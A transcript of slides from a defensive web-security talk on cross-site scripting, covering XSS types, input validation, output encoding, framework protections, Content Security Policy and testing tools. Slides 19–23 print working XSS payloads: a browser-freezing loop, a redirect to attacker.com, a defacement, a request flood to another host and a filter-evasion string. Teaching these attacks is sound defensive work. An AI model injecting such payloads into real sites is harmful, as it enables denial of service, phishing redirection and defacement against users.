"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 

Recently uploaded (20)

DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostLeverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clash
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptx
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Training state-of-the-art general text embedding
Training state-of-the-art general text embeddingTraining state-of-the-art general text embedding
Training state-of-the-art general text embedding
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 

Devouring Security Insufficient data validation risks Cross Site Scripting

  • 1. Devouring Security Insufficient Data Validation Risks Cross Site Scripting Marudhamaran Gunasekaran Watch the screen recording of the presentation at https://vimeo.com/106302349
  • 2. disclaimer • Techniques and Tools in this presentation should be used or applied on an application, only with prior consent of the application’s owner. Illegal otherwise.
  • 3. Irrational fear of risks against our children https://www.schneier.com/blog/archives/2014/08/irrational_fear.html
  • 6. XSS • Html equivalent of Sql injection? Some say – it indeed is • “Breaking out of a data context and entering a code context” – Jeff Williams, Chairperson, OWASP
  • 7. XSS Anatomy • Benign Input: http://app:8020/odern/AdvSearch?q=xxxxx • Input: xxxxx | Output: xxxxx • Malicious Input: http://app:8020/odern/AdvSearch?q=<em>xxxxx</em> • Input: <em>xxxxx</em> | Output: <em>xxxxx</em> • Malicious Input failure: http://app:8020/odern/AdvSearch?q=<em>xxxxx</em> • Input: <em>xxxxx</em> | Output: &lt;em&gt;xxxxx&lt;/em&gt;
  • 8. XSS Anatomy • Remember your high school? How you used to print a < > symbol on a html page by &lt; &gt;
  • 9. Parsers in Browsers Html Parser CSS Parser JavaScript Parser
  • 10. XSS • Breaking out of data context and entering the code context? • By Code context? Do I mean? • Html markup • Html attributes • JavaScript • CSS (not the XSS CSS, but the Cascading Style Sheet CSS) • xml
  • 11. Sources of untrusted data • Url • Form data • Cookies • Request headers • External services • Database Request[“data”] $_REQUEST request.getParameter
  • 12. Demo: XSS 101 • We know <script>alert(‘xss’);</script> how about some Samy script?
  • 13. Samy - http://namb.la/popular/tech.html Formatted code: http://security.stackexchange.com/questions/37362/why-is-the-samy-worm-considered-xss
  • 15. Auto send FB credentials to the Tunisian government via inserted javascript on non-https connection
  • 16. XSS Types • Type 0 – DOM Based • Type 1 – Reflected or Non-persistent XSS • Type 2 – Persistent or Stored XSS
  • 17. Demo: Cookie hijacking and Privilege Escalation • Face/Off with John Travolta and Nicolas Cage
  • 18. Demo: Cookie hijacking and Privilege Escalation • John Travolta – FBI • Nicolas Cage – Terrorist that planted the bomb. • Where is the bomb? John Travolta would find it by tricking Nicolas Cage
  • 19. My fave Payload: Dos the client <script>var j=0;while(true){++j;setTimeout(function(){var i=0;while(true){++i;setTimeout(function(){var w=0;while(true){w++;}},0);}},0);}</script>
  • 20. My fave Payload: Redirection • <script>window.top.location=http://www.attacker.com;</script>
  • 21. My fave Payload: Defacing • <script>document.body.background=http://1.bp.blogspot.com/- ISLWH3- kFpo/Uai4UHCOcrI/AAAAAAAAAmA/a6y9Nq3Bk0g/s1600/logo_blue. gif;</script>
  • 22. My fave Payload: Short XHR • <script>cn=1;while(true){++cn;var w=window,r=w.XMLHttpRequest,j;if(r)r=new r();else for(j in{"Msxml2":1,"Microsoft":1})try{r=new ActiveXObject(j+".XMLHTTP");break}catch(e){}r.open("GET",documen t.location,false);r.send("");}</script> • Better yet.. If you have jQuery <script>$.get('http://prowarenesssecurity:8000/Pss/c.aspx‘);</script>
  • 23. Input Sanitization • Blacklist • Stop anything that starts with a < and followed by a character • Stop any words such as script, javascript, alert, xss • Stop the < > , “ ‘ • Fails because of elimentary evasive techniques like • <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet (Rsnake)
  • 24. Blacklist vs Whitelist • Blacklist – Don’t allow just the bad things I tell you, rest is fine • What is bad? – anything that is bad today, anything the developer thinks • Whitelist – Allow only these, I don’t care about the rest • What is good? – anything the business requires in the functionality
  • 25. Don’t write your own Input Sanitizers • http://blog.codinghorror.com/protecting-your-cookies-httponly/
  • 26. AntiXss libraries • Microsoft AntiXss • AntiSamy for .Net, AntiSamy for Java • Reform for php
  • 27. Microsoft AntiXss • InputSanitizer • For purifying html input • Encoder • For output encodring
  • 28. Output encoding libraries • https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
  • 30. Framework protections • Ruby on Rails, ASP.Net MVC • XSS protections by default by output encoding • But why developers don’t like it? • Why do they want to turn the framework protections off? • Because they just do not want output encoding by default because it just does not look right • Because they want plain html to be rendered at the UI • Say hello to ASP.Net MVC’s Html.Raw()
  • 31. Framework Protections – Input validations • ASP.Net’s Request Validation • Why is it there? When does it get triggered? Could we bypass it? Sure. • <httpRuntime requestValidationMode="2.0" /> • AllowHtml • ValidateInput(false) • ValidateRequest=false • Request.Unvalidated…. Use explicit input validation, or AntiXss libraries when you have request validations turned off
  • 32. Browser defenses • IE • Chrome • Safari • X-XSS-Protection: 1; mode=block
  • 33. Browser defenses and bypasses • https://www.sysdream.com/sites/default/files/Abusing_IE8s_XSS_Filt ers%20(1).pdf • https://blog.whitehatsec.com/internet-explorer-xss-filter/ • http://blog.elevenpaths.com/2014/01/how-to-bypass-antixss-filter-in- chrome.html
  • 34. XSS Defences • NoScript addon • Content-Security-Policy [No wide browser support yet especially IE]
  • 35. Content Security Policy • ‘xxx’ is the only domain you should my • Scripts • Styles • Images • Objects from
  • 36. Content Security Policy • Blocking mode • Reporting mode
  • 37. Content Security Policy http://content-security-policy.com/
  • 38. Content Security Policy http://content-security-policy.com/
  • 39. Tools: Watcher Addon for Fiddler (Passive scanning)
  • 40. Tools: Xss Me addon for firefox (Active Scanning) • Demonstration at http://testfire.net/
  • 41. Tools: Xenotix XSS Exploit Framework
  • 42. Tools: ModSecurity (Web Application Firewall)
  • 44. Tools: Commercial tools? • Go figure, shell out
  • 45. XSS: Spot during code review Source: 24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them
  • 46. XSS: Spot during code review Source: 24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them
  • 47.
  • 48. Output encoding options • php: • echo htmlentities($name) • ASP.Net code behind: • lblName.Text = "Hello, " + HttpUtility.HtmlEncode(txtValue.Text); • lblName.Text = "Hello," + AntiXss.HtmlEncode txtValue.Text); • ASPX view engine : • <%: data %> • Razor view engine: • @data
  • 49. Code Review Tools • Cat.Net still works with little tweaking on al older code base • Visual Code Grepper
  • 50. Popular cheatsheets for XSS prevention • https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet • http://opensecurity.in/the-ultimate-xss-protection-cheat-sheet-for-developers/
  • 51. :q!